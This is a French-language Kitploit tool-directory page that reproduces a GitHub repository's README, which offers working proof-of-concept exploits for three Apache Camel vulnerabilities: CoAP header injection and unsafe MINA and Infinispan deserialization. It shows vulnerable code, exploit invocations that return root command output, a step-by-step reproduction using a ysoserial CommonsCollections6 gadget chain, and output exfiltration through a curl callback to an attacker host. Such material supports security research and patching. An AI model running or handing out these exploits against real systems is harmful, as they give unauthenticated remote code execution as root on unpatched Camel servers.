Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/dinosn/cve-2026-33453
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed TeamingExploitation de Binaires
GitHubdinosn/cve-2026-33453

CVE-2026-33453

Fournit des preuves de concept fonctionnelles et une analyse détaillée pour trois vulnérabilités critiques d'Apache Camel, notamment l'injection d'en-têtes CoAP et la désérialisation non sécurisée menant à l'exécution de code à distance.

Voir le dépôt
36il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Apache Camel 4.18.0 — Évaluation de sécurité CVE

Trois vulnérabilités critiques dans Apache Camel 4.18.0, découvertes et validées indépendamment avec des preuves de concept fonctionnelles.

CVEComposantTypeCVSSVerdict
CVE-2026-33453camel-coapInjection d'en-tête → RCE10.0 CritiqueExploitable
CVE-2026-40473camel-minaDésérialisation non sécurisée → RCE9.8 CritiqueExploitable
CVE-2026-40858camel-infinispanDésérialisation non sécurisée8.8 ÉlevéExploitable

CVE-2026-33453 : Injection d'en-tête CoAP → Exécution de code à distance

Composant : camel-coap — CamelCoapResource.java:103-109 CWE : CWE-915 (Modification incorrectement contrôlée des attributs d'objets) Corrigé dans : Camel 4.18.1 / 4.14.6

Cause racine

CamelCoapResource.handleRequest() mappe directement les paramètres de requête URI CoAP dans les en-têtes Camel Exchange via setHeader() sans HeaderFilterStrategy. CoAPEndpoint étend DefaultEndpoint au lieu de DefaultHeaderFilterStrategyEndpoint, de sorte que les en-têtes internes préfixés Camel* peuvent être injectés par n'importe quel client non authentifié.

Lorsque la route transmet à camel-exec, les en-têtes CamelExecCommandExecutable et CamelExecCommandArgs contrôlés par l'attaquant remplacent la commande configurée, permettant une RCE pré-authentifiée via un seul paquet UDP.

// CamelCoapResource.java:103-109 — AUCUN HeaderFilterStrategy
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    if (i == -1) {
        camelExchange.getIn().setHeader(s, "");
    } else {
        camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
    }
}

Résultat du PoC

PoC RCE CoAP

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Réponse : 2.05
[+] Sortie de commande : cf6ee154412e

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Sortie de commande : app bin boot dev etc home lib ...

CVE-2026-40473 : Désérialisation non sécurisée MINA → Exécution de code à distance

Composant : camel-mina — MinaConverter.java:60-63 CWE : CWE-502 (Désérialisation de données non fiables) Corrigé dans : Camel 4.18.2 / 4.14.6 / 4.20.0

Cause racine

MinaConverter.toObjectInput(IoBuffer) crée un java.io.ObjectInputStream brut sans ObjectInputFilter. Lorsqu'un point de terminaison MINA est configuré avec allowDefaultCodec=false, les données TCP brutes arrivent sous forme d'IoBuffer et atteignent le convertisseur de types Camel, qui appelle cette méthode — enveloppant les octets réseau contrôlés par l'attaquant dans un ObjectInputStream non filtré.

// MinaConverter.java:60-63 — AUCUN ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = toInputStream(buffer);
    return new ObjectInputStream(is);  // octets contrôlés par l'attaquant, AUCUN FILTRE
}

Chemin d'attaque : L'exploit cible un point de terminaison TCP MINA avec allowDefaultCodec=false (port 9879 dans le PoC). Cela contourne entièrement la couche de codec MINA — le ObjectSerializationCodecFactory possède sa propre liste blanche ClassNameMatcher qui bloquerait autrement les classes arbitraires. Avec le codec désactivé, les octets bruts circulent directement vers MinaConverter.toObjectInput() qui crée un ObjectInputStream standard sans aucun filtrage de classes.

Une chaîne de gadgets CommonsCollections6 (via ysoserial) permet l'exécution de commandes arbitraires en tant que root. La sortie de commande est exfiltrée via un rappel curl vers l'attaquant.

Résultat du PoC

PoC RCE MINA

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Sortie de commande :
    uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMÉ : CVE-2026-40473 RCE — commande exécutée via désérialisation

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Sortie de commande :
    Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar  8 14:41:59 UTC 2026 aarch64 GNU/Linux

Reproduction de CVE-2026-40473 étape par étape

Prérequis

  • Docker et Docker Compose
  • Python 3.8+
  • Java 17+ (pour ysoserial)
  • ysoserial — ysoserial-all.jar (gadget CommonsCollections6)

Étape 1 : Construire et démarrer le serveur vulnérable

cd poc/
docker compose up -d --build

Attendez que le conteneur démarre, puis vérifiez :

docker logs vuln-camel-mina

Vous devriez voir :

Configuration MINA

[*] Serveur MINA vulnérable démarré
[*] Port 9877 : point de terminaison transferExchange (désérialisation Java)
[*] Port 9878 : point de terminaison codec de sérialisation d'objets
[*] Port 9879 : TCP brut (MinaConverter.toObjectInput) point de terminaison
[*] En attente de connexions...

Le port 9879 est la cible — il utilise allowDefaultCodec=false, ce qui désactive le filtre de codec MINA et permet à l'IoBuffer brut d'atteindre le MinaConverter.toObjectInput() non filtré de Camel.

Étape 2 : Confirmer la désérialisation (mode sonde)

Tout d'abord, vérifiez que le point de terminaison accepte et désérialise des objets Java arbitraires sans ObjectInputFilter :

python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

Sonde MINA

[*] Mode sonde — confirmation de la désérialisation (sans RCE)
[*] Charge utile : HashMap (82 octets, brut — sans trame MINA)
[+] Connecté au point de terminaison MINA
[+] Charge utile envoyée
[+] Les données ont atteint readObject() sans rejet de filtre

La sonde envoie un HashMap sérialisé. Le serveur le désérialise via ObjectInputStream.readObject() sans InvalidClassException — confirmant l'absence totale de filtrage de classes.

Étape 3 : Exécuter des commandes (RCE complète)

Avec ysoserial disponible, exploitez la désérialisation non filtrée pour l'exécution de commandes arbitraires :

# Exécutez 'id' — renvoie uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# Lire des fichiers
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'

# Informations système
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'

L'exploit génère une chaîne de gadgets CommonsCollections6, l'envoie sous forme d'octets bruts au port 9879 et capture la sortie de commande via un écouteur de rappel curl.

Options de l'exploit

usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
                                       [--gadget GADGET] [--probe] [--raw]
                                       target [port] [command]
Télécharger l’outil